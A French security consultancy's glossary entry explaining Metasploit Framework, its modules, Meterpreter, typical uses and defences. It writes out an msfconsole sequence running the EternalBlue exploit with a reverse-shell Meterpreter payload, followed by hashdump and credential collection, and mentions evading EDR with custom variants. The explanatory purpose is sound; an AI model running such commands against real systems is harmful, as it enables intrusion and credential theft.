Aller au contenu principal
Expert Cybersécurité & IAv9.0
Centres de ressources conformité
Besoin d'un accompagnement expert ?
Devis personnalisé sous 24h — audit, conformité, incident
Outils open source — Gratuits, portables, hors ligne
Caractéristiques communes
100 % hors ligne — aucune donnée transmise
Portables — un seul fichier exécutable
Gratuits — MIT ou GPL v3
Code source ouvert sur GitHub
Checklists Sécurité — Audit & Durcissement
Formats disponibles
📄 PDF 📊 Excel 🌐 Web

11 checklists professionnelles couvrant 2 200+ points de contrôle. Téléchargement gratuit, aucune inscription.

Academy Contact

Metasploit Framework

hacking

Définition

Metasploit Framework est la plateforme d'exploitation la plus utilisée en sécurité offensive, développée initialement par H.D. Moore en 2003 et maintenant maintenue par Rapid7. Il fournit une infrastructure complète pour la découverte de vulnérabilités, le développement et l'exécution d'exploits, la post-exploitation, et la génération de payloads. L'architecture de Metasploit est modulaire : des modules d'exploitation (exploit/) qui contiennent le code d'attaque pour des vulnérabilités spécifiques, des payloads (payload/) qui définissent le code exécuté après une exploitation réussie (Meterpreter, reverse shell, bind shell), des modules auxiliaires (auxiliary/) pour la reconnaissance et le scanning (scanner de ports, brute force), des modules post-exploitation (post/) pour des actions après compromission, et des modules encodeurs (encoder/) pour l'obfuscation des payloads. Meterpreter est le payload phare de Metasploit : un shell avancé entièrement en mémoire (fileless) avec des fonctionnalités étendues (navigation de fichiers, extraction de credentials, capture d'écran, keylogging, pivoting, escalade de privilèges). Meterpreter communique via des canaux chiffrés avec le serveur Metasploit (msfconsole ou msfrpcd). Metasploit est utilisé dans des contextes variés : tests d'intrusion de réseaux et d'applications, formation à la cybersécurité offensive (CTF, labs), développement de modules d'exploitation pour des vulnérabilités récemment découvertes, et tests de résilience des solutions EDR/AV. La base de données de modules Metasploit contient des milliers d'exploits pour des vulnérabilités allant des années 1990 aux CVE récents. La version commerciale Metasploit Pro (Rapid7) ajoute des fonctionnalités avancées : interface web, reporting, chaînage automatique d'exploits, et intégration avec Nexpose pour la gestion des vulnérabilités.

Fonctionnement

Workflow basique msfconsole : search eternalblue → use exploit/windows/smb/ms17_010_eternalblue → set RHOSTS 192.168.1.100 → set payload windows/x64/meterpreter/reverse_tcp → set LHOST 192.168.1.50 → run. Si l'exploitation réussit, une session Meterpreter s'ouvre : getuid, hashdump, run post/windows/gather/credentials/credential_collector. sessions -l liste les sessions actives.

Exploitation offensive

Metasploit est particulièrement puissant pour l'exploitation de vulnérabilités connues (CVE) sur des systèmes non patchés. En environnement de pentest, le scanning avec db_nmap + exploitation automatique permet de compromettre rapidement de nombreux systèmes. Les modules post-exploitation permettent le mouvement latéral (post/windows/gather/enum_shares, auxiliary/server/socks_proxy pour le pivoting).

Détection et mitigation

Les modules Metasploit pour des vulnérabilités connues fonctionnent uniquement contre des systèmes non patchés. La mise à jour régulière des systèmes (patch management) est la défense fondamentale. Les EDR détectent le staging Meterpreter et ses communications. Des variantes custom de Meterpreter ou des stagers chiffrés différemment sont utilisés pour contourner les détections, mais les EDR comportementaux restent efficaces contre les actions post-exploitation.

Articles liés

Un projet cybersécurité ?

Expert dispo · Réponse 24h

Devis